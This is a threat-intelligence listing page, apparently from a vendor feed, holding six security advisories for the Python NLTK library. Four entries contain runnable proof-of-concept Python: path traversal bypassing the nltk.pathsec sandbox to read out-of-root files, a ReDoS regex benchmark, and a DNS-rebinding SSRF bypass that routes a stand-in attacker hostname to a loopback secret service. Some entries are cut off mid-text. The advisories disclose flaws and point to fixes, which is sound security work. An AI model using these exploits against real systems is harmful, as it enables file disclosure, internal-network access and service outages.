Skip to main content
Press slash or control plus K to focus the search. Use the arrow keys to navigate results and press enter to open a threat.

Threat Intelligence Database

Comprehensive database of the latest cyber threats affecting organizations worldwide. Filter and search to find specific threat intelligence relevant to your organization.

Pro Console Lifetime

Stop chasing alerts. Route them.

Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.

Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)

View Plans & Pricing

API access activates after upgrading in Console -> Billing.

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now

Filter Threats

Narrow down the results by type, severity, or affected countries

Search threats by title, CVE ID, or description. Maximum 100 characters.

Threat Intelligence

Click on any threat for detailed analysis and mitigation recommendations

Natural Language Toolkit (NLTK) has path traversal in FramenetCorpusReader.frame() that allows arbitrary XML file read, bypassing the nltk.pathsec sandbox (ENFORCE=True) (CVE-2026-12074)CVE-2026-12074
0

### Summary `FramenetCorpusReader.frame(name)` interpolates a caller-supplied frame name into an XML file path that is read with the builtin `open()`, bypassing `CorpusReader.open()` and the `nltk.pathsec` sandbox — including strict `ENFORCE=True` mode. A `../` sequence in the name escapes the corpus root, yielding an arbitrary XML file read whose parsed content is returned to the caller. ### Details `frame_by_name` builds the path by joining the corpus root, the frame directory, and the caller-supplied name with a fixed `.xml` extension, with no containment check, then constructs an `XMLCorpusView` from that **string** path. Because the view is built from a string rather than a `PathPointer`, it reads with the builtin `open()`, so `nltk.pathsec.validate_path()` is never invoked and `ENFORCE=True` does not block the access. This is the same path-traversal class previously hardened for the generic corpus readers; `frame_by_name` never goes through `CorpusReader.open()`, so that protection does not apply. The same string-path-into-`XMLCorpusView` pattern exists in two sibling methods that take a name from corpus data rather than the immediate caller: - `doc()` — uses the index entry `filename` field - the lexical-unit file loader — uses the `lexUnit` ID attribute These are reachable through a malicious or attacker-modified FrameNet corpus index. ### PoC ```python """ import os import sys import tempfile import warnings from pathlib import Path warnings.filterwarnings("ignore") # --- Turn the documented strict sandbox ON, before importing the reader. --- import nltk.pathsec as ps ps.ENFORCE = True import nltk from nltk.corpus.reader.framenet import FramenetCorpusReader, FramenetError FRAME_XML = ( '<?xml version="1.0" encoding="UTF-8"?>\n' '<frame xmlns="http://framenet.icsi.berkeley.edu" ID="1337" name="pwned">\n' "<definition>SECRET-OUT-OF-ROOT-CONTENT</definition>\n" "</frame>\n" ) BANNER = """\ =========================================================== NLTK FramenetCorpusReader.frame() Path Traversal PoC nltk {ver} | nltk.pathsec.ENFORCE = {enforce} ===========================================================""".format( ver=nltk.__version__, enforce=ps.ENFORCE ) def build_corpus(): """Minimal valid FrameNet corpus + a frame-shaped secret OUTSIDE its root.""" base = Path(tempfile.mkdtemp(prefix="fn_poc_")) root = base / "corpora" / "framenet" for d in ("frame", "fulltext", "lu"): (root / d).mkdir(parents=True) (root / "frameIndex.xml").write_text( '<?xml version="1.0"?><frameIndex></frameIndex>' ) (root / "frRelation.xml").write_text( '<?xml version="1.0"?><frameRelations></frameRelations>' ) # A frame-shaped XML file OUTSIDE the corpus root (the "sensitive" target). secret = base / "private" secret.mkdir() (secret / "secret.xml").write_text(FRAME_XML) return base, root, secret / "secret.xml" def main(): print(BANNER) base, root, secret_path = build_corpus() print(f"[*] corpus root : {root}") print(f"[*] secret file : {secret_path} (OUTSIDE the root)\n") fn = FramenetCorpusReader(str(root), []) # Attacker-controlled frame name climbs out of <root>/frame/ up to <base>/private/secret.xml evil = os.path.join("..", "..", "..", "private", "secret") print(f"[*] calling fn.frame({evil!r})") try: f = fn.frame(evil) definition = f["definition"] if "SECRET-OUT-OF-ROOT-CONTENT" in definition: print("\n [VULN] out-of-root file was read and returned to caller") print(f" frame name : {evil}") print(f" frame ID : {f['ID']} name: {f['name']}") print(f" definition : {definition}") print(f"\n -> nltk.pathsec sandbox bypassed despite ENFORCE = {ps.ENFORCE}") verdict = "VULNERABLE" else: print(f"\n [?] frame() returned but content unexpected: {definition!r}") verdict = "INCONCLUSIVE" except FramenetError as e: # Patched build (#3581): _reject_unsafe_path_component raises before open(). print(f"\n [SAFE] FramenetError: {e}") print(" traversal rejected before any file was opened (patched)") verdict = "NOT VULNERABLE" except Exception as e: print(f"\n [SAFE] {type(e).__name__}: {e}") verdict = "NOT VULNERABLE" # Control: a plain absent name must fail as 'Unknown frame', NOT as a read. print("\n[CONTROL] benign absent name should be 'Unknown frame':") try: fn.frame("Definitely_Not_A_Frame") print(" [?] unexpectedly succeeded") except Exception as e: print(f" ok -> {type(e).__name__}: {e}") print("\n" + "=" * 59) print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})") print("=" * 59) if __name__ == "__main__": main() ``` ### Impact - **Out-of-sandbox arbitrary XML read.** Any application th

Join the discussion
Natural Language Toolkit (NLTK): Path Traversal in NKJPCorpusReader leads to Arbitrary File Read and bypasses the nltk.pathsec sandbox (ENFORCE=True) (CVE-2026-12072)CVE-2026-12072
0

### Summary A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can influence the `fileids` argument of its public read methods (`header`, `raw`, `words`, `sents`, `tagged_words`) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox — including the strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant deployments. `header()` returns the parsed content of the out-of-root file to the caller (arbitrary file read). ### Details `SECURITY.md` promises that file access is "validated against allowed NLTK data directories" and that with `nltk.pathsec.ENFORCE = True` "unauthorized file access … will raise `PermissionError`." That guarantee is enforced via `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call `nltk.pathsec.validate_path(...)`. `NKJPCorpusReader` never uses that protected path. In `nltk/corpus/reader/nkjp.py`: - `add_root()` builds the path by **plain string concatenation** with no normalization or containment check: ```python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped ``` - The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin `open()`): ```python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 ``` - The other modes reach the filesystem through `XML_Tool`, which uses a raw `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the builtin `open()`: ```python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted ``` Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec` sentinel is never invoked, so `ENFORCE = True` does not block the access. For comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`) rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)` before opening — `NKJPCorpusReader` simply does not go through it. ### PoC Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`. ``` pip install "nltk==3.9.4" python3 poc.py ``` `poc.py`: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader print("nltk", nltk.__version__) # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>") # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "<teiHeader><fileDesc><sourceDesc><bibl>" "<title>SECRET-API-KEY=sk-live-DEADBEEF</title>" "</bibl></sourceDesc></fileDesc></teiHeader>") # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE) # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, *a, **k: (opened.append(str(f)), real(f, *a, **k))[1] reader = NKJPCorpusReader(root=root + "/", fileids="sample") # Attacker-controlled `fileids`; '..' escapes the corpus root: evil = root + "/../../../../../../.." + secret_dir + "/" try: result = reader.header(fileids=[evil]) finally: builtins.open = real print("opened outside root:", [p for p in opened if "OUTSIDE_ROOT_" in p][:1]) print("disclosed content :", result[0]["title"]) shutil.rmtree(root, ignore_errors=True); shutil.rmtree(secret_dir, ignore_errors=True) ``` Output (unmodified): ``` nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF ``` With `ENFORCE = True`, NLTK opened a file outside the corpus root via the builtin `open()` (no `PermissionError`, no warning) and returned its content. ### Impac

Join the discussion
Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex (CVE-2026-12061)CVE-2026-12061
0

### Summary `ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. ### Details The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes. ### PoC ``` import multiprocessing as mp import re import time # --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 --- FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]") # --- Bounded variant from the fix (PR #3583): cap the per-label word run. # A generous bound (real feature labels are short noun phrases) makes the # run linear while never affecting legitimate corpora. --- WORD_BOUND = 50 FEATURES_FIXED = re.compile( r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND ) TIMEOUT = 20.0 # seconds, per measurement SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line def _bad_line(n_words): """A long line of plain words with NO trailing bracketed annotation.""" return ("word " * n_words).rstrip() def _worker(pattern_str, line, q): pat = re.compile(pattern_str) t0 = time.perf_counter() pat.findall(line) q.put(time.perf_counter() - t0) def timed_findall(pattern, line, timeout=TIMEOUT): """Run pattern.findall(line) in a killable process; return seconds or None (timeout).""" q = mp.Queue() p = mp.Process(target=_worker, args=(pattern.pattern, line, q)) p.start() p.join(timeout) if p.is_alive(): p.terminate() p.join() return None return q.get() if not q.empty() else None def bench(label, pattern): print(f"\n[{label}] pattern: {pattern.pattern}") print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}") prev = None for n in SIZES: line = _bad_line(n) t = timed_findall(pattern, line) if t is None: print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}") prev = None else: ratio = f"{t/prev:.1f}x" if prev else "--" print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}") prev = t def parity_check(): """The bound must NOT change extraction on a realistic annotated line.""" real = ( "the picture quality[+2] and battery life[+1] are great but " "the lens cap[-1] feels cheap and the menu system[-2] is slow" ) a = FEATURES_VULN.findall(real) b = FEATURES_FIXED.findall(real) print("\n[parity] realistic annotated line — extraction must be identical") print(f" vulnerable regex -> {a}") print(f" bounded regex -> {b}") print(f" identical: {a == b}") return a == b def main(): print("=" * 66) print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)") print("=" * 66) print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}") bench("VULNERABLE reviews.py L70-71", FEATURES_VULN) bench("BOUNDED fix #3583", FEATURES_FIXED) same = parity_check() print("\n" + "=" * 66) print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS") print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms") print(f" Extraction parity on real annotations preserved: {same}") print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().") print("=" * 66) if __name__ == "__main__": main() ``` ### Impact Denial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

Join the discussion
Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode (CVE-2026-12075)CVE-2026-12075
0

### Summary `nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`. ### Details `urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` → `socket.create_connection` → `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches: 1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.) 2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.) `_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not. ### PoC ```python import socket import threading import warnings from collections import defaultdict from http.server import BaseHTTPRequestHandler, HTTPServer warnings.filterwarnings("ignore") import nltk import nltk.pathsec as ps ps.ENFORCE = True # the documented strict SSRF sandbox ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS" # --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) --- class _Handler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type", "text/plain") self.send_header("Content-Length", str(len(SECRET))) self.end_headers() self.wfile.write(SECRET) def log_message(self, *a): pass def start_internal_server(): srv = HTTPServer(("127.0.0.1", 0), _Handler) threading.Thread(target=srv.serve_forever, daemon=True).start() return srv.server_address[1] # ephemeral port # --- Model the TTL-0 rebinding record at the resolver layer --- _real_getaddrinfo = socket.getaddrinfo _lookups = defaultdict(int) def _rebinding_getaddrinfo(host, port, *args, **kwargs): if host == ATTACKER_HOST: n = _lookups[host] _lookups[host] += 1 ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect) p = port if isinstance(port, int) else 0 kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback" print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})") return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))] return _real_getaddrinfo(host, port, *args, **kwargs) def fetch(url): with ps.urlopen(url, timeout=5) as r: return r.read() def main(): print("=" * 62) print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC") print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}") print("=" * 62) port = start_internal_server() print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n") socket.getaddrinfo = _rebinding_getaddrinfo ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process try: # ---- Control: a DIRECT loopback URL must be blocked by the filter ---- print("[1] CONTROL: direct loopback URL (filter must block this)") direct = f"http://127.0.0.1:{port}/" try: fetch(direct) print(f" [?] unexpected: {direct} was NOT blocked\n") control_ok = False except PermissionError as e: print(f" [OK] blocked -> PermissionError: {e}\n") control_ok = True # ---- Attack: rebinding hostname bypasses the same filter ---- print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)") evil = f"http://{ATTACKER_HOST}:{port}/" print(f" fe

Join the discussion
NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an… (CVE-2025-71408)CVE-2025-71408
0

NLTK (Natural Language Toolkit) versions before 3.9.3 contain an eval injection vulnerability in the nltk.collocations module. This vulnerability allows an attacker who can control command-line arguments to execute arbitrary Python code. The issue arises because the __main__ block in collocations.py passes command-line arguments directly to eval() without validation or sanitization, enabling execution of arbitrary code including OS commands via the os module.

Join the discussion
CVE-2026-12252: CWE-94 Improper Control of Generation of Code in nltk nltk/nltkCVE-2026-12252
0

In nltk/nltk versions 3.9.3 and earlier, five Stanford interface classes (StanfordPOSTagger, StanfordNERTagger, StanfordParser, StanfordDependencyParser, and StanfordNeuralDependencyParser) are vulnerable to untrusted JAR code execution. These classes accept user-controllable JAR paths and execute them via the `java()` function, which invokes `subprocess.Popen()` without integrity verification. This vulnerability is identical to CVE-2026-0848, which was fixed for StanfordSegmenter by adding SHA256 verification. However, the fix was not applied to these additional classes, leaving them susceptible to arbitrary code execution when loading untrusted JAR files.

Join the discussion

Showing 1 to 6 of 6 results

Filters:Package: pkg:pypi/nltk
Page 1 of 1
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses